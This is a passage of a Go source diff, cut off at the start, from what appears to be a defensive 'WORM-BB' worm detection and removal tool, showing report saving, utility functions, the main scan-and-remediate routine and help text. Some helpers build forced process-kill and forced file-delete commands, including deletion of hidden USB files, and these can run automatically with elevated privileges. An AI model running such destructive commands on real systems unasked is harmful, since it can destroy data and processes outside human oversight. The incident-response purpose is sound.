SaveJSON(filename string) error { + data, err := json.MarshalIndent(re.result, "", " ") + if err != nil { + return err + } + + return ioutil.WriteFile(filename, data, 0644) +} + +// ========== UTILITY FUNCTIONS ========== + +func getHostname() string { + hostname, err := os.Hostname() + if err != nil { + return "unknown" + } + return hostname +} + +func getLocalIP() string { + addrs, err := net.InterfaceAddrs() + if err != nil { + return "127.0.0.1" + } + + for _, addr := range addrs { + if ipnet, ok := addr.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { + if ipnet.IP.To4() != nil { + return ipnet.IP.String() + } + } + } + return "127.0.0.1" +} + +func getKillCommand(pid int) string { + if runtime.GOOS == "windows" { + return fmt.Sprintf("taskkill /F /PID %d", pid) + } + return fmt.Sprintf("kill -9 %d", pid) +} + +func getDeleteCommand(path string) string { + if runtime.GOOS == "windows" { + return fmt.Sprintf("del /F /Q \"%s\"", path) + } + return fmt.Sprintf("rm -f \"%s\"", path) +} + +func getUSBDeleteCommand(path string) string { + if runtime.GOOS == "windows" { + return fmt.Sprintf("del /F /Q /A:H \"%s\"", path) + } + return fmt.Sprintf("rm -f \"%s\"", path) +} + +func generateID() string { + data := fmt.Sprintf("%d", time.Now().UnixNano()) + hash := sha256.Sum256([]byte(data)) + return hex.EncodeToString(hash[:8]) +} + +func atoi(s string) int { + var result int + fmt.Sscanf(s, "%d", &result) + return result +} + +func isNumeric(s string) bool { + for _, c := range s { + if c < '0' || c > '9' { + return false + } + } + return true +} + +// ========== MAIN ========== + +func main() { + fmt.Println(strings.Repeat("=", 80)) + fmt.Println("WORM-BB DETECTION AND REMOVAL TOOL") + fmt.Printf("Version: %s\n", VERSION) + fmt.Println("Authorized Use Only - Blue Team / Incident Response") + fmt.Println(strings.Repeat("=", 80)) + + // Parse command line arguments + autoRemediate := false + networkScan := false + outputFile := "" + + for i, arg := range os.Args { + switch arg { + case "--auto", "-a": + autoRemediate = true + case "--network", "-n": + networkScan = true + case "--output", "-o": + if i+1 < len(os.Args) { + outputFile = os.Args[i+1] + } + case "--help", "-h": + printHelp() + return + } + } + + // Run detection + detector := NewDetectionEngine(networkScan) + detector.RunFullScan() + + // Generate report + reporter := NewReportEngine(detector.results) + reporter.PrintReport() + + if outputFile != "" { + if err := reporter.SaveJSON(outputFile); err != nil { + fmt.Printf("[-] Failed to save report: %v\n", err) + } else { + fmt.Printf("[+] Report saved to %s\n", outputFile) + } + } + + // Run remediation if worm detected + if detector.results.WormDetected && len(detector.remediations) > 0 { + fmt.Println("\n" + strings.Repeat("=", 80)) + fmt.Println("REMEDIATION PHASE") + fmt.Println(strings.Repeat("=", 80)) + + remediator := NewRemediationEngine(autoRemediate) + remediator.LoadRemediations(detector.remediations) + remediator.ExecuteRemediations() + } + + fmt.Println("\n[+] Scan complete") + + if detector.results.WormDetected { + fmt.Println("\n[!] Worm detected and remediated. Reboot recommended.") + os.Exit(1) + } + + fmt.Println("\n[+] No worm detected. System appears clean.") + os.Exit(0) +} + +func printHelp() { + fmt.Println(` +Usage: worm_bb_detector [options] + +Options: + -a, --auto Automatic remediation (no user prompts) + -n, --network Enable network scanning (multicast, port checks) + -o, --output Save JSON report to file + -h, --help Show this help message + +Examples: + # Basic scan with user prompts + worm_bb_detector + + # Full automatic scan with network detection + worm_bb_detector --auto --network + + # Scan and save report + worm_bb_detector --output report.json + +Exit Codes: + 0 - No worm detected + 1 - Worm detected and remediated + +Note: Run with elevated privileges (Administrator/root) for full detection capability +`) +}